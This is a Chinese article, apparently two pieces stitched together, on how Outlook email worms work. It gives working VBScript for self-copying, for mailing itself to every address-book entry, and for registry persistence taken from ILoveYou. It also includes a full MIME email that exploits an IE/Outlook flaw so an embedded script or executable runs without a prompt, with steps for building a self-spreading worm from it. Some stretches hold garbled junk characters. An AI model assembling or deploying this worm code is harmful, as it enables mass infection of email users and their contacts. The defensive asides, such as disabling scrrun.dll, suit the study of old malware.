据称目前已经发现唯一不能通过OutLook传播的病毒口蹄疫已经被发现,看来微软也可以得以
一阵子了。开个玩笑,OutLook在传播病毒上真是臭名昭著,像iloveyou,梅莉莎等等产生过
很大破坏力的病毒都是通过OutLook传播的。其根本原因就是OutLook的人性化,与脚本的高度
集成,复杂性等等,正是由于这些原因导致了病毒的传播。
下面我们看一下OutLook传播病毒的机理:
首先看看病毒的几大特征:自我复制性,传播性,潜伏性。我们收先看看自我复制性
。病毒要向传播必须将自身复制借由其他邮件或本身发送出去,OutLook传播的病毒基本上都
是由VBScript编写的,其自我复制的原理基本上是利用程序将本身的脚本内容复制一份到一个
临时文件,然后再在传播的环节将其作为附件发送出去。我们看看脚本是怎么样完成这个功能
的。
Set so=CreateObject("Scripting.FileSystemObject")
so.GetFile(WScript.ScriptFullName).Copy("C:/dateiname.vbs")
就是这么两行就可以将自身复制到c盘根目录下dateiname.vbs这个文件。第一行是创
建一个文件系统对象,第二行前面是打开这个脚本文件,WScript.ScriptFullName指明是这个
程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制
到c盘根目录下dateiname.vbs这个文件。这就是大多数利用VBscript编写的病毒的一个特点。
从这里可以看出,禁止了FileSystemObject这个对象就可以很有效的控制这种病毒的传播。下
面的这条命令可以禁止文件系统对象。
regsvr32 scrrun.dll /u
我们再看看传播性。病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的
。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有
通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附
件完成的。看看如下的代码:
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 50
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Betreff der E-Mail"
Mail.Body="Text der E-Mail"
Mail.Attachments.Add("C:/dateiname.vbs")
Mail.Send
Next
ol.Quit
这一小段代码的功能是向地址簿中的前50个用户发送电子邮件,并将脚本自己作为附
件。第一行是创建一个Outlook的对象。下面是一个循环,在循环中不断地向地址簿中的电子
邮件地址发送内容相同的信件。
至于潜伏,则多数是修改注册表等信息以判断各种条件及取消一些限制。比如下面从
Iloveyou病毒中取出的部分代码:
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Sh*ll")
rr=wscr.RegRead("HKEY_CURRENT_USER/Software/Microsoft/Windows Scripting
Host/Settings/Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/Windows Scripting
Host/Settings/Timeout",0,"REG_DWORD"
end if
很明显是调整脚本语言的超是设置。下面的一段代码则是修改注册表,使得每次系统
启动自动执行脚本:
regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/
Run/MSKernel32",dirsystem&"/MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/
RunServices/Win32DLL",dirwin&"/Win32DLL.vbs"
其中MSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本。
ILoveYou病毒还做了一些其它的修改。
从上面可以看出其实写一个通过OutLook传播的电子邮件病毒很简单。但是作为附件传
播,这种传播的效率可能就会打些折扣。下面的一种方法是根据最新的IE的漏洞利用的。下面
是这个漏洞的一些情况:
From: "xxxxx"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
--1
Content-Type: multipart/alternative;
boundary="2"
--2
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
I will create the file C:/deleteme.txt
</BODY>
</HTML>
--2--
--1
Content-Type: audio/x-wav;
name="h*llo.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID: <THE-CID>
set objFileSystem =3D CreateObject("Scripting.FileSystemObject")
set objOutputFile =3D objFileSystem.CreateTextFile("C:/deleteme.txt", 1)
objOutputFile.writeline("You can delete this file.")
objOutputFile.close
msgbox "I have created the file : c:/deleteme.txt"
--1
上面的这个程序的例子是表明当双击附件的时候OutLook是不会提示你安全信息的,它
是直接执行的。这仅仅是将整个上面这些作为附件发送的情况。其实这个文件直接发送给对方
,对方只要将焦点移到这一主题上就会执行这个脚本。因此这一漏洞将更加有效的传播电子邮
件病毒。产生上面这个漏洞的原因大概是采用HTML发送方式其背景音乐文件没有作检查,导致
脚本,应用程序等被执行。采用不同的编码就可以将脚本,命令行命令,可执行文件等内嵌在
邮件中。注意上面的一行:
name="h*llo.vbs"
这个文件名可以任意命名,如果是脚本则需要vbs扩展名,如果是命令行命令则应该是
bat或cmd结尾。如果是脚本或这种文本方式的命令,则编码方式应为:quoted-printable
Content-Transfer-Encoding: quoted-printable
如果是应用程序则文件名应该改为exe扩展名:
name="h*llo.exe"
编码方式应该改为uuMime(base64)编码:
Content-Transfer-Encoding: quoted-printable
然后将应用程序进行base64编码插入到:
Content-ID: <THE-CID>
--1
之间。这样就构造好了一封信。发送的时候可以选择quack写的perl程序,也可以采用
我写的windows上的傻瓜程序。
根据上面的经验,可以写一个应用程序,这个应用程序就是病毒,它首先对自身进行
base64编码,然后再将这个编码嵌入到上面这个邮件中,然后向地址簿中的电子邮件地址发送
这个电子邮件。收到这个电子邮件的用户当焦点再这个主题上时这个应用程序就会立刻被执行
而没有任何提示,执行的结果是和上面一样,先将自身编码,在插入到邮件,在向地址簿中的
电子邮件地址发送。如此传播。问题是应用程序对地址簿的读取没有脚本那么容易,而且应用
程序的大小也要比脚本大很多。采用脚本编写的话则在发送邮件中比较难于处理成一点即运行
的方式。也许是本人对于脚本语言知之甚少的缘故吧。另外在处理复制中也有些困难。因为再
另一端执行时脚文件值包含这些脚本命令,而不包含上面的额外的东西。所以处理起来也比较
困难。
以上是我的一点点看法,有些地方可能不对,还请各位大侠批评指正。
用CreateObject出来的对象,在IE浏览器中会被警告,容易被禁止,但如果在网
页中插入对象Scriptlet.TypeLib(06290BD5-48AA-11D2-8432-006008C3FBFC)
标记,利用Write方法写HTA文件,就不会给提示,算是IE的漏洞吧!
http://www.soudu.net
们以普通的vb脚本来看看。 Set objFs=CreateObject("Scripting.FileSystemObject") '创建一个文件操作对象 objFs.CreateTextFile("C:/virus.txt", 1) '通过文件操作对象的方法创建了一个TXT文件。
如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。 倘若我们把第二句改为: objFs.GetFile(WScript.ScriptFullName).Copy("C:/virus.vbs")
就可以将自身复制到c盘virus.vbs这个文件。它的意思是把程序本身的内容COPY到目的地。这样就让这么简单的两句话实现了自我复制的功能,已经具备病毒的基本特征。如果我们要给它添加感染特性,
网m件~@k4F0d网件垠教&[
Set objOA=Wscript.CreateObject("Outlook.Application") '创建一个OUTLOOK应用的对象 Set objMapi=objOA.GetNameSpace("MAPI") '取得MAPI名字空间 For i=1 to objMapi.AddressLists.Count '遍历地址簿 Set objAddList=objMapi.AddressLists(i) For j=1 To objAddList. AddressEntries.Count Set objMail=objOA.CreateItem(0) objMail.Recipients.Add(objAddList. AddressEntries(j)) '取得邮件地址,
8f&a8f!,W[o网!jST专
U;y8~8X件j无V2h软中J
MY理F7的&nmT4k4fY
收件人 objMail.Subject = "你好!" objMail.Body = "这次给你的附件是我的新文档!" objMail.Attachments.Add("c:/virus.vbs") '把自己作为附件扩散出去 objMail.Send '发送邮件 Next Next Set objMapi=Nothing Set objOA=Nothing
上面的代码就通过又把自己以附件的方式扩散出去。
我们可以看出,仅仅这么简单的代码,就能成为具有自我复制、繁殖、骚扰网络的病毒了。当然,我们可以为它添加更多的本领,比如:修改注册表、删除文件、发送被感染者的文件、隐藏自己,感染其他文件。其实,以目前视窗系统的编程开放特性,上面的功能都很容易实现。一个中级的VB程序员,没有任何的汇编知识,很容易就能制作类似的蠕虫病毒。 计算机世界的不断发展,界面的友好性以及代码开放性都为病毒的产生提供更好的平台。一个程序简单的病毒,同样能够成为破坏力强大的超级病毒。可以这么说:病毒制作早已经进入高级编程阶段。不会低级机器语言的程序员,也能够制作功能强大的病毒。
正是因为病毒制作进入高级编程阶段,使得病毒的制作更加容易,更多稍微有编程基础的人就能写出病毒来。同时,象脚本病毒这样的代码,如果不加密,它的原程序也能轻松看见,这被更多的有低级趣味的低级程序员所利用。从 I Love You 等脚本病毒开始,它们的代码也象病毒一样扩散开来,被人改装过后就发展成新的病毒,什么Homepage、Mayday等,
r"}osqI'(j{[
都几乎差不多。最近,又有人改装成Jessica Worm病毒,用"163电子邮箱收费通知"做标题,其基本代码和扩散部分代码完全是I Love You 病毒的D版。
本文讲解的内容主要是针对最近各种病毒蔓延而作的。一是告诉大家现在病毒没什么了不起,件om,7;t2eQ二是告诉大家防止病毒感染的方案。也要说明的是,病毒制作早已经进入高级编程阶段,通过改装代码继续扩散病毒的人,该住手了。
|